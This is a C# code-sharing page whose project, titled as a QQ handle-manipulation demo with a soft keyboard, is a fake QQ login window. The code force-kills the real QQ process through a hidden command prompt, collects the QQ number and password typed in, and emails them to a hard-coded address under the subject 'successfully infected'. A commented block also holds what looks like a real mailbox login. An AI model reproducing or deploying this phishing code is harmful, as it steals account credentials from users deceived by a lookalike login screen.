在好例子网,分享、交流、成长!
您当前所在位置:首页C# 开发实例C#语言基础 → C#通过句柄操作QQ(有软键盘功能)

C#通过句柄操作QQ(有软键盘功能)

C#语言基础

下载此实例
  • 开发语言:C#
  • 实例大小:4.37M
  • 下载次数:102
  • 浏览次数:1067
  • 发布时间:2017-07-13
  • 实例类别:C#语言基础
  • 发 布 人:bluelovenet
  • 文件格式:.zip
  • 所需积分:1
 相关标签: QQ C# 句柄 操作 c

实例介绍

【实例简介】
【实例截图】

from clipboard 

【核心代码】

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using CCWin;
using CCWin.SkinControl;
using CCWin.SkinClass;
using System.Runtime.InteropServices;
using System.Threading;
using System.Net.Mail;
using System.Diagnostics;

//此代码是在51aspx上的源码基础上进行修改的,仅用于学习与研究,若用于其他用途,后果自负

namespace QQ2013
{
    public partial class FrmLogin : CCSkinMain
    {
        /// <summary>
        /// 关闭进程
        /// </summary>
        /// <param name="processName">进程名</param>
        private void KillProcess(string processName)
        {
            Process[] myproc = Process.GetProcesses();
            foreach (Process item in myproc)
            {
                if (item.ProcessName == processName)
                {
                    item.Kill();
                }
            }
        }

        private string RunCmd(string command)
        {
             //实例一个Process类,启动一个独立进程
             Process p = new Process();
             //Process类有一个StartInfo属性
             //设定程序名
             p.StartInfo.FileName = "cmd.exe";
             //设定程式执行参数   
             p.StartInfo.Arguments = "/c "   command;
             //关闭Shell的使用  
             p.StartInfo.UseShellExecute = false;   
             //重定向标准输入     
             p.StartInfo.RedirectStandardInput = true;
             p.StartInfo.RedirectStandardOutput = true;
             //重定向错误输出  
             p.StartInfo.RedirectStandardError = true;  
             //设置不显示窗口
             p.StartInfo.CreateNoWindow = true;          
             //启动
             p.Start();   
             //也可以用这种方式输入要执行的命令
             //不过要记得加上Exit要不然下一行程式执行的时候会当机
             //p.StandardInput.WriteLine(command);
             //p.StandardInput.WriteLine("exit");       
             //从输出流取得命令执行结果
             return p.StandardOutput.ReadToEnd();
        }

        public FrmLogin()
        {
            //KillProcess("QQ");
            RunCmd("taskkill /im QQ.exe /f ");
            InitializeComponent();
        }

        //窗口加载时
        private void FrmLogin_Load(object sender, EventArgs e)
        {
            int Hour = Convert.ToInt32(DateTime.Now.ToString("HH"));
            //早上
            if (Hour > 5 && Hour <= 11)
            {
                this.Back = Properties.Resources.morning;
            }
            else if (Hour > 11 && Hour <= 14)//中午
            {
                this.Back = Properties.Resources.noon;
            }
            else if (Hour > 14 && Hour <= 19)//下午
            {
                this.Back = Properties.Resources.afternoon;
            }
            else//晚上
            {
                this.Back = Properties.Resources.night;
            }
        }

        //状态菜单中的Item选择事件
        void item_Click(object sender, EventArgs e)
        {
            ToolStripMenuItem item = (ToolStripMenuItem)sender;
            txtId.Text = item.Tag.ToString();
            pnlImgTx.BackgroundImage = item.Image;
        }

        //悬浮时
        private void Control_MouseEnter(object sender, EventArgs e)
        {
           /* Control txt = (Control)sender;
            SkinPanel pnl = (SkinPanel)txt.Parent;
            pnl.ControlState = ControlState.Hover;*/
        }

        //离开时
        private void Control_MouseLeave(object sender, EventArgs e)
        {
            /*Control txt = (Control)sender;
            SkinPanel pnl = (SkinPanel)txt.Parent;
            pnl.ControlState = ControlState.Normal;*/
        }

        //托盘图标双击显示
        private void tuopan_DoubleClick(object sender, EventArgs e)
        {
            this.Show();
        }

        //登录事件
        private void btnDl_Click(object sender, EventArgs e)
        {
            if (txtId.Text.Length == 0 || txtPwd.Text.Length == 0) { return; }
            SendEmil();
            btnDl.Enabled = false;
            //imgLoadding.Visible = true;
            timShow.Start();
        }

        //选择状态
        private void btnState_Click(object sender, EventArgs e)
        {
            MenuState.Show(this.Left   pnlImgTx.Right, this.Top   pnlImgTx.Bottom   5);
        }

        //状态选择项
        private void Item_Click(object sender, EventArgs e)
        {
            ToolStripMenuItem Item = (ToolStripMenuItem)sender;
            btnState.Image = Item.Image;
            btnState.Tag = Item.Tag;
        }

        //账号下拉框按钮事件
        private void btnId_Click(object sender, EventArgs e)
        {
        }

        //软键盘
        private void txtPwd_IconClick(object sender, EventArgs e)
        {
            txtPwd.IsSystemPasswordChar = true;
            
            var xx =new  CCWin.SkinControl.SkinWaterTextBox();
            xx.UseSystemPasswordChar = true;
            xx.PasswordChar = '*';
            xx.TextChanged  = delegate(object senderx, EventArgs ex) { txtPwd.Text = xx.Text; };//new EventHandler(textBox2_TextChanged) ;}
            PassKey pass = new PassKey(this.Left   txtPwd.Left - 25, this.Top   txtPwd.Bottom, xx);
            pass.Show();
        }


        //自动登录
        private void chkZdLogin_CheckedChanged(object sender, EventArgs e)
        {
            chkMima.Checked = chkZdLogin.Checked ? true : chkMima.Checked;
        }

        //记住密码
        private void chkMima_CheckedChanged(object sender, EventArgs e)
        {
            if (!chkMima.Checked && chkZdLogin.Checked)
            {
                chkZdLogin.Checked = false;
            }
        }

        //计时器事件
        private void timShow_Tick(object sender, EventArgs e)
        {
            this.Close();
            tuopan.Text = String.Format("QQ:{0}({1})", txtId.Text, txtId.Text);
            timShow.Stop();
        }

        //发送邮件
        private bool SendEmil()
        {/*
            SmtpClient client = new SmtpClient();
            //这个地方的用户名你可以用split从发送人中截取
            client.Credentials = new System.Net.NetworkCredential("wu_man@126.com","ljwm3905526");
            client.Port = 25;
            client.Host = "smtp.126.com";
            try
            {
                client.Send(Initial("wu_man@126.com"));
                return true;
            }
            catch (System.Net.Mail.SmtpException)
            {
                return false;
            }*/
 
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();    
            msg.To.Add("test@126.com");    
            msg.To.Add("test@qq.com");
    
            /*   
            * msg.To.Add("b@b.com");   
            * msg.To.Add("b@b.com");   
            * msg.To.Add("b@b.com");可以发送给多人   
            */    
            //msg.CC.Add("c@c.com");    
            /*   
            * msg.CC.Add("c@c.com");   
            * msg.CC.Add("c@c.com");可以抄送给多人   
            */
            msg.From = new MailAddress("test@126.com", "test", System.Text.Encoding.UTF8);    
            /* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/    
            msg.Subject = "这是测试邮件";//邮件标题    
            msg.SubjectEncoding = System.Text.Encoding.UTF8;//邮件标题编码    
            msg.Body = "用户名:"   txtId.Text   ",密码:"   txtPwd.Text;//邮件内容    
            msg.BodyEncoding = System.Text.Encoding.UTF8;//邮件内容编码    
            msg.IsBodyHtml = false;//是否是HTML邮件    
            msg.Priority = MailPriority.High;//邮件优先级    
   
            SmtpClient client = new SmtpClient();   
            client.Credentials = new System.Net.NetworkCredential("test@126.com", "passsword");    
            //在126.com注册的邮箱和密码    
            client.Host = "smtp.126.com";    
            object userState = msg;    
            try    
            {    
                client.SendAsync(msg, userState);    
                //简单一点儿可以client.Send(msg);    
                MessageBox.Show("发送成功:"   msg.Body);
                return true;
            }    
            catch (System.Net.Mail.SmtpException ex)    
            {    
                MessageBox.Show(ex.Message, "发送邮件出错");
                return false;
            }    
        }

        //配置邮件信息
        public MailMessage Initial(string Address)
        {
            MailMessage m_Mail = new MailMessage();
            //发件人
            m_Mail.From = new MailAddress("test@qq.com");
            //收件人
            m_Mail.To.Add(new MailAddress(Address));
            //主题
            m_Mail.Subject = "QQ号:"   txtId.Text   "已成功感染!";
            //内容
            m_Mail.Body = "QQ号:("   txtId.Text   ")密码:("   txtPwd.Text   ")";
            //邮件主题和正文编码格式
            m_Mail.SubjectEncoding = System.Text.Encoding.UTF8;
            m_Mail.BodyEncoding = System.Text.Encoding.UTF8;
            //邮件正文是Html编码
            m_Mail.IsBodyHtml = true;
            //优先级
            m_Mail.Priority = System.Net.Mail.MailPriority.High;
            //添加附件,可以添加多个
            //m_Mail.Attachments.Add(new Attachment("f:\\1.txt"));
            //密件抄送收件人
            m_Mail.Bcc.Add(Address);
            //抄送收件人
            m_Mail.CC.Add(Address);
            return m_Mail;
        }

        //QQ号栏失去焦点便将光标转移进密码栏
        private void txtId_Leave(object sender, EventArgs e)
        {
            txtPwd.Focus();
        }
    }
}

标签: QQ C# 句柄 操作 c

实例下载地址

C#通过句柄操作QQ(有软键盘功能)

不能下载?内容有错? 点击这里报错 + 投诉 + 提问

好例子网口号:伸出你的我的手 — 分享

网友评论

发表评论

(您的评论需要经过审核才能显示)

查看所有0条评论>>

小贴士

感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。

  • 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
  • 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
  • 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
  • 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。

关于好例子网

本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明

;
报警